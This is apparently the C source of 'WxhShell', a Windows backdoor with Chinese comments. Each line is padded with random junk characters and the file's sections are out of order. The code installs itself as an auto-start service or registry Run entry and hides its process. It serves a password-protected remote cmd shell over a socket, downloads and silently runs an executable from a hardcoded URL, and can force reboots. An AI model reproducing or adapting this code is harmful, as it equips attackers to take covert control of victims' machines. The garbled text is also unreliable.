    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H;*:XLPF  
    if(Boot(SHUTDOWN)) x)G/YUv76  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [=e61Z  
    else { L"zOa90ig  
    closesocket(wsh); IK{0Y#c  
    ExitThread(0); 51`w.ri  
    } +x G](?  
    break; @U;-5KYYi  
    } $>/J8iB  
  // 获取shell z-[Jbjhd  
  case 's': { dge58A)Q  
    CmdShell(wsh); \#tr4g~u  
    closesocket(wsh); #.9Xkn9S  
    ExitThread(0); >~BU<#  
    break; cWFvYF  
  } b_V)]>v+  
  // 退出 @pytHN8( $  
  case 'x': { n$`Nx\v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z-7F,$  
    CloseIt(wsh); m>:%[vm  
    break; \nkqp   
    } <py~(q  
  // 离开 5`x9+XvoN  
  case 'q': { +6gS]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \`>Y   
    closesocket(wsh); fbw {)SZ  
    WSACleanup(); 0)ST_2Ci  
    exit(1); \vQ_:-A  
    break; % Pa-fee  
        } / 6gRoQ%j  
  } apY m,_  
  } NPB':r-8  
sE/9~L  
  // 提示信息 &`>*3m(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WR'A%"qBwi  
} OPKX&)SE-  
  } =PZs'K  
E\V>3rse  
  return; tD4IwX  
} @ K@~4!  
U4N S.`V  
// shell模块句柄 )@K|Co  
int CmdShell(SOCKET sock) 40g&zU-  
{ snEkei|0  
STARTUPINFO si; "{V,(w8Dt  
ZeroMemory(&si,sizeof(si)); Ix *KL=MG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1H[lf B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PTePSj1N  
PROCESS_INFORMATION ProcessInfo; p:4vjh=1h  
char cmdline[]="cmd"; $%t{O[ (  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sl$dXB@  
  return 0; OOk53~2id  
} G3U+BC23E  
]a:kP,  
// 自身启动模式 fptW#_V2  
int StartFromService(void) vfy- ;R(  
{ C*78ZwZ  
typedef struct Pc(2'r@#  
{ 5cfzpOqr0  
  DWORD ExitStatus; M?\)&2f[Z  
  DWORD PebBaseAddress; Yd<~]aXM   
  DWORD AffinityMask; P' J_:\  
  DWORD BasePriority; jr9ZRHCU  
  ULONG UniqueProcessId; M>]%Iu  
  ULONG InheritedFromUniqueProcessId; {(tE pr  
}   PROCESS_BASIC_INFORMATION; #qn)Nq(  
*508PY  
PROCNTQSIP NtQueryInformationProcess; ,\qo   
<wSmfg,yF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #dl8+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )5&m:R9  
RB\WttI  
  HANDLE             hProcess; I|LS_m  
  PROCESS_BASIC_INFORMATION pbi; /f6]XP\'`+  
UwM}!K7)G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z)]EB6uRg  
  if(NULL == hInst ) return 0; wG|3 iFK  
PIrUls0}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uo65i 1oi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #k"[TCQ>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CVUJ(D&Q  
8bysg9H0  
  if (!NtQueryInformationProcess) return 0; ~::R+Lh(  
woT"9_tN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :^*V[77  
  if(!hProcess) return 0; '^J/aV  
zk/!#5JtK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R utW{wh  
-'0AV,{Z  
  CloseHandle(hProcess); q-o>yjT~  
E:o:)h?$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (o:Cxh V  
if(hProcess==NULL) return 0; >4VU  
,mX|TI<*  
HMODULE hMod; =;a4 Dp  
char procName[255]; zo5.}mr+  
unsigned long cbNeeded; ?dmMGm0T9  
}?~uAU-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `kv$B3  
7E5Dz7  
  CloseHandle(hProcess); 6P~"7k  
q7]WR(e  
if(strstr(procName,"services")) return 1; // 以服务启动 [.I,B tY+  
a "DV`jn  
  return 0; // 注册表启动 UbibGa= )  
} Y1'.m5E  
w@ 5/mf?  
// 主模块 "^= [*i  
int StartWxhshell(LPSTR lpCmdLine) 7 b. -&,  
{ bsP ;  
  SOCKET wsl; 48ma&f;  
BOOL val=TRUE; 55cldo   
  int port=0; \O8f~zA{G  
  struct sockaddr_in door; Yz,!#ob$  
RsD`9>6)  
  if(wscfg.ws_autoins) Install(); eq+o_R}CS  
(rG1_lUDu  
port=atoi(lpCmdLine); 9aU:[]w  
j~E +6f \  
if(port<=0) port=wscfg.ws_port; >a7(A#3@d  
5An0D V5  
  WSADATA data; i@CMPz-h&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \zI&n &T  
9sCk\`n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w&"w"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KYu(H[a  
  door.sin_family = AF_INET; !~N4}!X3du  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UBi4itGD  
  door.sin_port = htons(port); M',D  
iW}l[g8sw!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `zp2;]W  
closesocket(wsl); ?66(t  
return 1; ]X~g@O{>_  
} E)JyKm.  
0Ad ~!Y+1  
  if(listen(wsl,2) == INVALID_SOCKET) { <gdgcvd  
closesocket(wsl); lZM3Q58?\  
return 1; ?a>7=)%AH  
} ' f$L  
  Wxhshell(wsl); z>33O5U  
  WSACleanup(); P"x-7>c>Y  
ZGpTw[5ql  
return 0; %p2x^air  
bfJ`}xl(8  
} 7vaN&%;E%  
UY-IHz;&O-  
// 以NT服务方式启动 E^ok`wfO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I26gGp  
{ n<:d%&^n  
DWORD   status = 0; ~BvY8\@B  
  DWORD   specificError = 0xfffffff; MpA;cw]cI/  
;:4P'FWm^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e?| URW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {?/8jCVd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +F o$o  
  serviceStatus.dwWin32ExitCode     = 0; M> jBm .  
  serviceStatus.dwServiceSpecificExitCode = 0; `cP'~OT  
  serviceStatus.dwCheckPoint       = 0; k&A7alw  
  serviceStatus.dwWaitHint       = 0; }11`98>B6:  
lP*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \$'m ^tVU  
  if (hServiceStatusHandle==0) return; XalJo@%-  
rj,K`HD  
status = GetLastError(); A!{.|x[S44  
  if (status!=NO_ERROR) >HPvgR/#BY  
{ O<1vSav!K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1/2V.:bg  
    serviceStatus.dwCheckPoint       = 0; 9Yl8n dP^E  
    serviceStatus.dwWaitHint       = 0; icPp8EwH  
    serviceStatus.dwWin32ExitCode     = status; ySQ-!fQnP  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5e)6ua,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *`ZB+ \*  
    return; `~ _H=l9{  
  } I f3{E  
`z}vONXpAX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <!~1{`n%9J  
  serviceStatus.dwCheckPoint       = 0; z!s. 9  
  serviceStatus.dwWaitHint       = 0; GsIwY {d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dK}WM46$   
} xHJ8?bD p  
.?rbny  
// 处理NT服务事件,比如:启动、停止 s:+HRJD|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *N-;V|{  
{ _[OF"X2  
switch(fdwControl) M3Khc#5S(  
{ R9Sf!LR  
case SERVICE_CONTROL_STOP: 1BQ0M{&  
  serviceStatus.dwWin32ExitCode = 0; XM6".eF)M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v2hZq-q  
  serviceStatus.dwCheckPoint   = 0; 6<x~Mk'u)  
  serviceStatus.dwWaitHint     = 0; <<=e9Lh  
  { YV/>8*i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,3Wb4so  
  } E/mubA(&  
  return; d/D,P=j"  
case SERVICE_CONTROL_PAUSE: Jd5\&ma  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DR:8oo&E  
  break; M1oPOC\0.  
case SERVICE_CONTROL_CONTINUE: Bo`Tl1K#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b4>``n  
  break; -S"5{N73  
case SERVICE_CONTROL_INTERROGATE: NO-k-  
  break; U|gpCy  
}; 5Sr4-F+@%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y3-gUX*w0  
} {?E<](+0  
s\[LpLt  
// 标准应用程序主函数 d/3J' (cq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I @ 2uF-  
{ pb!V|#u"  
C ye T]y  
// 获取操作系统版本 gtiEhCF2W  
OsIsNt=GetOsVer(); A)tP()+)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \(I0wEQo$  
TZ[Zm  
  // 从命令行安装 HcRa`Sfc]/  
  if(strpbrk(lpCmdLine,"iI")) Install(); UuU/c-.  
U-i.(UyZ  
  // 下载执行文件 .XXW|{  
if(wscfg.ws_downexe) { q:I$EpKf?Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /F.Wigv  
  WinExec(wscfg.ws_filenam,SW_HIDE); K]c4"JJ  
} lVz9k  
\v+u;6cx_  
if(!OsIsNt) { "(v%1tGk  
// 如果时win9x,隐藏进程并且设置为注册表启动 NzQ9Z1Mxy  
HideProc(); JK]R*!{n  
StartWxhshell(lpCmdLine); 0Vkl`DmeM.  
} }GumpT$Xw  
else k.<3HU  
  if(StartFromService()) .N,&Uv-  
  // 以服务方式启动 Q8T`wd$D#  
  StartServiceCtrlDispatcher(DispatchTable); M|q~6oM  
else xg<Hxn,<M  
  // 普通方式启动 Y34/+Fi  
  StartWxhshell(lpCmdLine); =<c#owe:m  
aTd D`h  
return 0; |?d#eQ9a  
} c~0{s>  
\\,f{?w  
& $'z  
(-0ePSOG  
=========================================== j~E",7Q'  
qH> `}/,P  
ljC(L/I  
*>NX%by)  
n(1')?"mA  
MZV_5i@:  
" mj&57D\fq  
a,|?5j9,P  
#include <stdio.h> ]5 Qy  
#include <string.h> <q (z>*-e  
#include <windows.h> /ASaB  
#include <winsock2.h> )@gZ;`n  
#include <winsvc.h> YO+{,$  
#include <urlmon.h> tz^/J=)"  
7y^%7U \  
#pragma comment (lib, "Ws2_32.lib") eS+g|$cW  
#pragma comment (lib, "urlmon.lib") 6"/WZmOp  
#3$\Iu  
#define MAX_USER   100 // 最大客户端连接数 <eN_1NTH_  
#define BUF_SOCK   200 // sock buffer 'G&{GVbXY  
#define KEY_BUFF   255 // 输入 buffer C NsNZJ  
jN31hDg<z  
#define REBOOT     0   // 重启  Ea6 &~"  
#define SHUTDOWN   1   // 关机 Yd EptAI  
0(U#)  
#define DEF_PORT   5000 // 监听端口 ;5_{MCPM  
=,y |00l  
#define REG_LEN     16   // 注册表键长度 dS2G}L^L  
#define SVC_LEN     80   // NT服务名长度 /E;y,o75  
^3VR-u<O  
// 从dll定义API XV3C`:b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B* kcN lW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O7d$YB_'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rxn Frx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #LlUxHv #  
?BA]7M(,4  
// wxhshell配置信息 r;BT,jiX  
struct WSCFG { U>Ld~cw  
  int ws_port;         // 监听端口 d^03"t0O]  
  char ws_passstr[REG_LEN]; // 口令 Vj<:GRNQ,d  
  int ws_autoins;       // 安装标记, 1=yes 0=no E 99hlY~1:  
  char ws_regname[REG_LEN]; // 注册表键名 MP Z3D9  
  char ws_svcname[REG_LEN]; // 服务名 S$)*&46g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C%d_@*82  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z]B]QB Y[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X cr  =  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 32DbNEk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I V%zO+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U,#yqER'r  
T134ZXqqz  
}; XL#[ %X9  
sn7AR88M;  
// default Wxhshell configuration =q N2Xg/  
struct WSCFG wscfg={DEF_PORT, ^` un'5Vk  
    "xuhuanlingzhe", #/PAA  
    1, X%yO5c\l2  
    "Wxhshell", V5+SWXZ  
    "Wxhshell", J>fQNW!{  
            "WxhShell Service",  "KcA  
    "Wrsky Windows CmdShell Service", ;iDPn2?6?x  
    "Please Input Your Password: ", f{SB1M   
  1, d%l{V6  
  "http://www.wrsky.com/wxhshell.exe", ),%6V5a+E  
  "Wxhshell.exe" s4&^D<  
    }; vJAZ%aW  
Kw#so; e  
// 消息定义模块 IV\J3N^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^C2\`jLMY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xsWur(>]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C9p"?vX  
char *msg_ws_ext="\n\rExit."; h iNEJ_f  
char *msg_ws_end="\n\rQuit."; 2]%h$f+  
char *msg_ws_boot="\n\rReboot..."; ~]ZpA-*@Ut  
char *msg_ws_poff="\n\rShutdown..."; %Uz(Vd#K  
char *msg_ws_down="\n\rSave to "; d)~Fmi;  
7GDHz.IX  
char *msg_ws_err="\n\rErr!"; cwGbSW$t  
char *msg_ws_ok="\n\rOK!"; 2<M= L1\  
<&)v~-&O  
char ExeFile[MAX_PATH]; $-[CG7VgX%  
int nUser = 0; +V&{*f)  
HANDLE handles[MAX_USER]; %YOndIS:  
int OsIsNt; 3sd"nR?aX  
N!*_La=TuH  
SERVICE_STATUS       serviceStatus; @)SL_9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; McPNB`.H  
.*elggM  
// 函数声明 CbN!1E6).  
int Install(void); MDF%\Sx  
int Uninstall(void); L~s3b  
int DownloadFile(char *sURL, SOCKET wsh); #-h\.#s  
int Boot(int flag); znJ'iV f  
void HideProc(void); (Vo>e =q  
int GetOsVer(void); 4DTzSy:x  
int Wxhshell(SOCKET wsl); MxBTX4ES  
void TalkWithClient(void *cs); OgX6'E\E  
int CmdShell(SOCKET sock); *5xJv  
int StartFromService(void); id$Ul?z8  
int StartWxhshell(LPSTR lpCmdLine); @^uH`mc  
['ksP-=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^FnfJ:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cHa]xmy%r'  
KM`eIw>8  
// 数据结构和表定义 x"~~l  
SERVICE_TABLE_ENTRY DispatchTable[] = Vx @|O%  
{ c2K:FdB  
{wscfg.ws_svcname, NTServiceMain}, ^ :F.  
{NULL, NULL} e)?Fi  
}; h&kZjQ&  
A19;1#$=  
// 自我安装 vVE7fq3  
int Install(void)  aH#l9kCb  
{ J+f!Ar  
  char svExeFile[MAX_PATH]; 8iekEG$H  
  HKEY key; pAk/Qxl3eo  
  strcpy(svExeFile,ExeFile); i<(Xr  
mg, j:,  
// 如果是win9x系统,修改注册表设为自启动 5^j45'%I  
if(!OsIsNt) { cm[c ze+*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qgDRu]ba  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Mee 6  
  RegCloseKey(key); $U/YR&vcw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y_.!!@,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l{D'uI[&  
  RegCloseKey(key); `~cuQ<3Tn  
  return 0; 2W$cFC  
    } E#F/88(  
  } PdVfO8-  
} 1 1cWy+8D  
else { ?)\a_ Tn  
]Ta N{"  
// 如果是NT以上系统,安装为系统服务 OaL\w D^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r$wxk 4%Rz  
if (schSCManager!=0) f#Xyoa%  
{ 0VK-g}"x  
  SC_HANDLE schService = CreateService ~i.k$XGA  
  ( ce6__f 5?  
  schSCManager, \);4F=h}f  
  wscfg.ws_svcname, K x~|jq  
  wscfg.ws_svcdisp, c_" ~n|  
  SERVICE_ALL_ACCESS, x1ztfJd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n k2om$nN  
  SERVICE_AUTO_START, 3T&6opaF  
  SERVICE_ERROR_NORMAL, @ps1Dr4s  
  svExeFile, MJ=)v]a  
  NULL, !|<=ZF2  
  NULL, 'u` .P:u?  
  NULL, 95<EN (oUD  
  NULL, (@#M!'  
  NULL sZLT<6_B  
  ); nW|wY.  
  if (schService!=0) ,y%3mR_~  
  { !s@Rok  
  CloseServiceHandle(schService); d`1I".y  
  CloseServiceHandle(schSCManager); Y-0?a?q2Fr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wW"z  
  strcat(svExeFile,wscfg.ws_svcname); +S))3 5N[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Eb5:;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )yo a  
  RegCloseKey(key); "}Me}S<  
  return 0; :eZh'-c?  
    } ` }3qhar  
  } }(<%`G6N  
  CloseServiceHandle(schSCManager); I7&_Xr  
} (|d34DOJ  
} uw},`4`  
0 u?{ \  
return 1; B(F,h+ajy  
} +78CvjG  
=~I-]4  
// 自我卸载 S"wg2X<  
int Uninstall(void) .IJ_jt-^d  
{ -rKO )}  
  HKEY key; 5Q=P4w!'  
cJgBI(S5  
if(!OsIsNt) { O+RP3ox"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jLJ1u/l>;  
  RegDeleteValue(key,wscfg.ws_regname); r",]Voibd  
  RegCloseKey(key); ?EX"k+G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &P,^.'  
  RegDeleteValue(key,wscfg.ws_regname); hd 0 'u  
  RegCloseKey(key); Yhp]x   
  return 0; n8hRaNHl2  
  } +I>p !v  
} BA=,7y&;j  
} sK=0Np=`  
else { A6oq.I0  
<[GYLN[0Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2m>-dqg  
if (schSCManager!=0) dSCzx .c  
{ .qA{xbu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?m c%.Bt  
  if (schService!=0) gKg-O  
  { kw`WH)+F  
  if(DeleteService(schService)!=0) { 8_K6 0eXz  
  CloseServiceHandle(schService); i!~'M;S  
  CloseServiceHandle(schSCManager); TPE:e)GO  
  return 0; 1oKfy>ie  
  } V Yw%01#  
  CloseServiceHandle(schService); @u._"/K  
  } ^h &I H|  
  CloseServiceHandle(schSCManager); aiCn"j  
} \Ey~3&x9f  
} h3gWOU  
K) Zlc0e  
return 1; ?GBkqQ  
} A$.fv5${  
/=?ETth @  
// 从指定url下载文件 /+e~E;3bO  
int DownloadFile(char *sURL, SOCKET wsh) F\ctuaLC  
{ @ d"wAZzD?  
  HRESULT hr; bAr` E  
char seps[]= "/"; FEz>[#eOX  
char *token; S=3^Q;V/1  
char *file; _#o' +_Z  
char myURL[MAX_PATH]; O3V.^_k;  
char myFILE[MAX_PATH]; X5 ITF)&  
0@Kkl$O>mb  
strcpy(myURL,sURL); #=}$OFg  
  token=strtok(myURL,seps); 4e9q`~ sO  
  while(token!=NULL) 9N[EZhW  
  { >5T_g2pkv  
    file=token; $\AEWFB  
  token=strtok(NULL,seps); t5 a7DD  
  } PNSMcakD  
N_75-S7Cm  
GetCurrentDirectory(MAX_PATH,myFILE); j[6Raf/(n  
strcat(myFILE, "\\"); NN 0Q`r,8}  
strcat(myFILE, file); + E"[  
  send(wsh,myFILE,strlen(myFILE),0); uHNpfKnZ  
send(wsh,"...",3,0); 3]JZu9#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /)uM[ dnai  
  if(hr==S_OK) ZkB3[$4C=5  
return 0; /vE]2Io  
else ;+pOP |P=  
return 1; 5|$a =UIR  
[;O^[Iybf:  
} I_ "Z:v{  
}fhHXGK.  
// 系统电源模块 MEwdw3  
int Boot(int flag) e<gx~N9l'  
{ 8(X0 :  
  HANDLE hToken; '~-IV0v9  
  TOKEN_PRIVILEGES tkp; 3]E(mRX  
E@ h y7X  
  if(OsIsNt) { + C7T]&5s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #WE]`zd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %Ny) ?B  
    tkp.PrivilegeCount = 1; C>|@& o1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8V4V3^_xs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0o&}mKe  
if(flag==REBOOT) { L*]E`Xxd9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :,*eX' fH  
  return 0; `hB1b["(  
} L~FTr  
else { ]@xL=%   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lUh*?l  
  return 0; 0kCQ0xB[a5  
} a5`eyL[f  
  } q"aPJ0ni'  
  else { Pl~P-n  
if(flag==REBOOT) { WBppKj_M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !eD+GDgE]  
  return 0; ehO:')XF  
} M$CVQ>op:  
else { 9F_6}.O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <lFY7' aY  
  return 0; 'm1.X-$V  
} (M% ;~y\  
} .`LgYW  
+*EKR  
return 1; LR$z0rDEM  
} Sr y,@p)  
B/YcSEY;  
// win9x进程隐藏模块 |"}4*V_*  
void HideProc(void) >riq98Us/  
{ ]O@"\_}  
Kd{#r/HZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tjb/[RQ  
  if ( hKernel != NULL ) cgNt_8qC  
  { |>s v8/!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rye)qp|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2lz {_9  
    FreeLibrary(hKernel); Yk>8g;<  
  } Lpm?# g uR  
OJ[rj`wrW^  
return; U1^l+G^,~  
} <3#<I)#  
/>Jm Rdf  
// 获取操作系统版本 R@ QQNYU.D  
int GetOsVer(void) 91;HiILgT  
{ |a(Q4 e/,  
  OSVERSIONINFO winfo; 2}`R"MeS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z_(eQP])  
  GetVersionEx(&winfo); ?Y!^I2Y6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |4xo4%BQ>  
  return 1; h3t$>vs2F"  
  else $n*%v85  
  return 0; $eCGez<E  
} 6<76O~hNZ  
 ("F)  
// 客户端句柄模块 f=oeF]=I"  
int Wxhshell(SOCKET wsl) 4.k`[q8  
{ BA`:miH<  
  SOCKET wsh; : ~'Z(-a  
  struct sockaddr_in client; < %rh/r  
  DWORD myID; 4@~a<P#  
f#mx:Q.7I  
  while(nUser<MAX_USER) K!7q!%Ju  
{ gD5P!}s[u0  
  int nSize=sizeof(client); d"!yD/RD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |<2 *v-a  
  if(wsh==INVALID_SOCKET) return 1; ioWJj.%  
GMT or  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :s-EG;.  
if(handles[nUser]==0) :Fo4O'UC  
  closesocket(wsh); 4[(? L{  
else -4%]QS  
  nUser++; To^# 0  
  } $"1pws?d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CnQg*+  
@4&, #xo  
  return 0; }Qb';-+;d  
} >Pyc[_j  
'FqEB]gu  
// 关闭 socket 2J&XNV^tJ  
void CloseIt(SOCKET wsh) dWjx"7^  
{ kI<Wvgo L  
closesocket(wsh); ennR@pg  
nUser--; P!9;} &  
ExitThread(0); pIvfmIm  
} j;G[%gi6{  
Z/n3aYM  
// 客户端请求句柄 yqYhe-"  
void TalkWithClient(void *cs) ;raz6DRO  
{ CQ$::;  
PE|PwqX  
  SOCKET wsh=(SOCKET)cs; >eRZ+|k?N  
  char pwd[SVC_LEN]; [u7 vY@  
  char cmd[KEY_BUFF]; 0s )cVYppe  
char chr[1]; / =-6:L  
int i,j; d&5c_6oW  
y&y/cML?  
  while (nUser < MAX_USER) { T0YDfo  
di--:h/  
if(wscfg.ws_passstr) { J"5jy$30'$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mF}c-  D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (1rJFl!  
  //ZeroMemory(pwd,KEY_BUFF); (*MNox?w  
      i=0; [gpOu TW  
  while(i<SVC_LEN) { c%ZeX%p  
xC[~Fyhp  
  // 设置超时 H_Iim[v#  
  fd_set FdRead; I/Sv"X6E  
  struct timeval TimeOut; gxI&f  
  FD_ZERO(&FdRead); h4tC. i~k  
  FD_SET(wsh,&FdRead); c6t2Q6zV  
  TimeOut.tv_sec=8; |MR%{ZC^i  
  TimeOut.tv_usec=0; >_-!zjO8u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h (qshbC}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <nj IXa{  
K*HCFqr U"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y!SF/i?Py  
  pwd=chr[0]; c[&d @  
  if(chr[0]==0xd || chr[0]==0xa) { "Ys_ \  
  pwd=0; o>0O@NE  
  break; kmmL>fCV"M  
  } ^I@ey*$  
  i++; /.7$`d  
    } wu;7NatHx  
-E6Jf$  
  // 如果是非法用户,关闭 socket sk~za  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); = vY]G5y  
}   YfTd  
h0T< :X   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]#vWKNv:;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4\&H?:c.  
w}IL 8L(D  
while(1) { }Vs~RJM)}  
^?E^']H)5u  
  ZeroMemory(cmd,KEY_BUFF); ARmu{cL  
kSLSxfR  
      // 自动支持客户端 telnet标准   Z~duJsH  
  j=0; 5OPS&:  
  while(j<KEY_BUFF) { |}M~ kJ)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); en Pzy:C  
  cmd[j]=chr[0]; h |s*i  
  if(chr[0]==0xa || chr[0]==0xd) { "CIpo/ebL  
  cmd[j]=0; 3Qqnw{*  
  break; h{Oz*Bq  
  } TvQWdX=  
  j++; $.ymby  
    } !JT< (I2  
F6RyOUma  
  // 下载文件 :`{9x%o;  
  if(strstr(cmd,"http://")) { 1j oc<EI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mJwv&E  
  if(DownloadFile(cmd,wsh)) 6b-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M \ :"~XW  
  else VaD:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2z.k)Qx!Z  
  } C\;;9  
  else { $=\oJ-(!@S  
@"q~ AY  
